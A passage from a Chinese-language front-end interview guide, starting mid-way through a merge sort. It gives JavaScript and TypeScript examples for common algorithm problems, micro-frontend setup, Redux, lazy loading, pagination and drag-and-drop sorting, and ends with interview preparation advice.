const right = mergeSort(arr.slice(mid));
return merge(left, right);
}
function merge(left, right) {
const result = [];
let i = 0, j = 0;
while (i < left.length && j < right.length) {
if (left[i] <= right[j]) {
result.push(left[i++]);
} else {
result.push(right[j++]);
}
}
return result.concat(left.slice(i), right.slice(j));
}
// 二分查找
function binarySearch(arr, target) {
let left = 0;
let right = arr.length - 1;
while (left <= right) {
const mid = Math.floor((left + right) / 2);
if (arr[mid] === target) return mid;
if (arr[mid] < target) left = mid + 1;
else right = mid - 1;
}
return -1;
}
11.3 算法题解析
// 两数之和
function twoSum(nums, target) {
const map = new Map();
for (let i = 0; i < nums.length; i++) {
const complement = target - nums[i];
if (map.has(complement)) {
return [map.get(complement), i];
}
map.set(nums[i], i);
}
return [];
}
// 有效括号
function isValid(s) {
const stack = [];
const map = { ')': '(', '}': '{', ']': '[' };
for (const char of s) {
if (char in map) {
if (stack.pop() !== map[char]) return false;
} else {
stack.push(char);
}
}
return stack.length === 0;
}
// LRU 缓存
class LRUCache {
constructor(capacity) {
this.capacity = capacity;
this.cache = new Map();
}
get(key) {
if (!this.cache.has(key)) return -1;
const value = this.cache.get(key);
this.cache.delete(key);
this.cache.set(key, value);
return value;
}
put(key, value) {
if (this.cache.has(key)) {
this.cache.delete(key);
} else if (this.cache.size >= this.capacity) {
const firstKey = this.cache.keys().next().value;
this.cache.delete(firstKey);
}
this.cache.set(key, value);
}
}
// 岛屿数量
function numIslands(grid) {
if (!grid.length) return 0;
const rows = grid.length;
const cols = grid[0].length;
let count = 0;
function dfs(r, c) {
if (r < 0 || r >= rows || c < 0 || c >= cols || grid[r][c] === '0') return;
grid[r][c] = '0';
dfs(r + 1, c);
dfs(r - 1, c);
dfs(r, c + 1);
dfs(r, c - 1);
}
for (let r = 0; r < rows; r++) {
for (let c = 0; c < cols; c++) {
if (grid[r][c] === '1') {
count++;
dfs(r, c);
}
}
}
return count;
}
十二、系统设计与架构
12.1 前端架构模式
微前端
// Module Federation (Webpack 5)
// webpack.config.js
const { ModuleFederationPlugin } = require('webpack').container;
module.exports = {
plugins: [
new ModuleFederationPlugin({
name: 'app1',
filename: 'remoteEntry.js',
exposes: {
'./Button': './src/Button',
'./Header': './src/Header'
},
shared: {
react: { singleton: true },
'react-dom': { singleton: true }
}
})
]
};
// 应用中使用
import Button from 'app1/Button';
// qiankun 微前端
import { registerMicroApps, start } from 'qiankun';
registerMicroApps([
{
name: 'react-app',
entry: '//localhost:3000',
container: '#micro-app-container',
activeRule: '/react'
},
{
name: 'vue-app',
entry: '//localhost:8080',
container: '#micro-app-container',
activeRule: '/vue'
}
]);
start();
12.2 状态管理
Redux 架构
// Action Types
const ADD_TODO = 'ADD_TODO';
const TOGGLE_TODO = 'TOGGLE_TODO';
const SET_VISIBILITY_FILTER = 'SET_VISIBILITY_FILTER';
// Actions
const addTodo = (text: string) => ({
type: ADD_TODO,
payload: { text, id: Date.now() }
});
const toggleTodo = (id: number) => ({
type: TOGGLE_TODO,
payload: { id }
});
// Reducer
interface TodoState {
todos: Array<{ id: number; text: string; completed: boolean }>;
visibilityFilter: string;
}
const initialState: TodoState = {
todos: [],
visibilityFilter: 'SHOW_ALL'
};
function todoApp(state = initialState, action: AnyAction): TodoState {
switch (action.type) {
case ADD_TODO:
return {
...state,
todos: [
...state.todos,
{ id: action.payload.id, text: action.payload.text, completed: false }
]
};
case TOGGLE_TODO:
return {
...state,
todos: state.todos.map(todo =>
todo.id === action.payload.id
? { ...todo, completed: !todo.completed }
: todo
)
};
default:
return state;
}
}
// Store
import { createStore, applyMiddleware } from 'redux';
import { thunk } from 'redux-thunk';
const store = createStore(todoApp, applyMiddleware(thunk));
// Async Action
const fetchUser = (id: number) => async (dispatch) => {
dispatch({ type: 'FETCH_USER_REQUEST' });
try {
const response = await fetch(`/api/users/${id}`);
const user = await response.json();
dispatch({ type: 'FETCH_USER_SUCCESS', payload: user });
} catch (error) {
dispatch({ type: 'FETCH_USER_FAILURE', payload: error });
}
};
十三、场景题与实战
13.1 性能优化场景
图片懒加载
// Intersection Observer 实现
const lazyImages = document.querySelectorAll('[data-src]');
const imageObserver = new IntersectionObserver((entries, observer) => {
entries.forEach(entry => {
if (entry.isIntersecting) {
const img = entry.target;
img.src = img.dataset.src;
img.removeAttribute('data-src');
observer.unobserve(img);
}
});
});
lazyImages.forEach(img => imageObserver.observe(img));
// React 懒加载组件
import { lazy, Suspense } from 'react';
const Image = ({ src, alt, placeholder }) => {
const [loaded, setLoaded] = useState(false);
return (
<div style={{ minHeight: placeholder ? '200px' : 'auto' }}>
<img
src={src}
alt={alt}
style={{ opacity: loaded ? 1 : 0, transition: 'opacity 0.3s' }}
onLoad={() => setLoaded(true)}
/>
</div>
);
};
数据分页
// 前端分页
interface PaginationState {
page: number;
pageSize: number;
total: number;
data: any[];
}
function usePagination<T>(
fetchFn: (page: number, pageSize: number) => Promise<{ data: T[]; total: number }>
) {
const [state, setState] = useState<PaginationState>({
page: 1,
pageSize: 10,
total: 0,
data: []
});
const loadData = async (page = state.page) => {
const result = await fetchFn(page, state.pageSize);
setState(prev => ({
...prev,
page,
data: result.data,
total: result.total
}));
};
useEffect(() => {
loadData(1);
}, []);
const nextPage = () => loadData(state.page + 1);
const prevPage = () => loadData(state.page - 1);
return { ...state, nextPage, prevPage };
}
13.2 复杂交互实现
拖拽排序
// React 拖拽排序
import { useState } from 'react';
interface DragItem {
id: string;
content: string;
}
function DragList() {
const [items, setItems] = useState<DragItem[]>([
{ id: '1', content: 'Item 1' },
{ id: '2', content: 'Item 2' },
{ id: '3', content: 'Item 3' }
]);
const [draggedItem, setDraggedItem] = useState<DragItem | null>(null);
const handleDragStart = (e: React.DragEvent, item: DragItem) => {
setDraggedItem(item);
e.dataTransfer.effectAllowed = 'move';
};
const handleDragOver = (e: React.DragEvent) => {
e.preventDefault();
e.dataTransfer.dropEffect = 'move';
};
const handleDrop = (e: React.DragEvent, targetItem: DragItem) => {
e.preventDefault();
if (!draggedItem || draggedItem.id === targetItem.id) return;
setItems(prev => {
const newItems = [...prev];
const draggedIndex = newItems.findIndex(i => i.id === draggedItem.id);
const targetIndex = newItems.findIndex(i => i.id === targetItem.id);
newItems.splice(draggedIndex, 1);
newItems.splice(targetIndex, 0, draggedItem);
return newItems;
});
setDraggedItem(null);
};
return (
<ul>
{items.map(item => (
<li
key={item.id}
draggable
onDragStart={(e) => handleDragStart(e, item)}
onDragOver={handleDragOver}
onDrop={(e) => handleDrop(e, item)}
>
{item.content}
</li>
))}
</ul>
);
}
十四、综合面试技巧
14.1 面试准备建议
## 技术准备
1. **基础知识**
- JavaScript 核心(作用域、原型、异步、事件循环)
- CSS 布局(Flexbox、Grid、响应式)
- 浏览器原理(渲染、存储、安全)
- 网络(HTTP/HTTPS、缓存、CORS)
2. **框架深入**
- Vue: 响应式、虚拟 DOM、组件通信、Vue 3 新特性
- React: Fiber、Hooks、性能优化、状态管理
3. **工程化**
- 构建工具(Webpack、Vite)
- 测试策略(Jest、Cypress)
- CI/CD 流程
4. **性能优化**
- Core Web Vitals
- 代码分割、懒加载
- 运行时优化
## 软技能准备
1. **项目经验**
- STAR 法则(Situation、Task、Action、Result)
- 技术选型理由
- 遇到的挑战和解决方案
2. **问题分析**
- 先理清问题需求
- 提出多种解决方案
- 分析优缺点
- 选择最佳方案
3. **沟通表达**
- 清晰表达思路
- 适当画图说明
- 主动确认需求
14.2 常见问题回答
## "你最大的技术挑战是什么?"
**回答模板:**
1. 描述具体场景
2. 阐述问题和影响
3. 说明解决方案
4. 总结学到的经验
**示例:**
"在之前的项目中,我们需要渲染一个包含 10 万条数据的大型表格。初始实现导致页面卡顿,FPS 只有个位数。
我通过以下方式解决:
1. 引入虚拟滚动,只渲染可视区域的数据
2. 使用 Web Worker 处理数据过滤和排序
3. 实现单元格按需渲染
最终将 FPS 提升到 60,页面加载时间从 3s 降到 200ms。
这个项目让我深入理解了渲染优化和性能分析工具的使用。"
## "你为什么选择这个技术栈?"
**回答模板:**
1. 业务需求匹配
2. 团队能力考虑
3. 性能和可维护性平衡
4. 未来扩展性
## "你如何保持技术成长?"
**回答模板:**
1. 官方文档和源码阅读
2. 技术社区参与
3. 开源项目贡献
4. 实际项目实践
总结
本面试指南涵盖了前端开发的各个核心领域,从 JavaScript 原理到框架深入,从性能优化到工程实践。建议:
- 理论结合实践:不仅要理解原理,更要通过实际项目巩固
- 深度优于广度:在一个领域深入学习,比浅尝辄止更有价值
- 关注最新发展:前端技术更新快,要保持学习
- 培养工程意识:代码质量、可维护性、可测试性同样重要
祝面试顺利!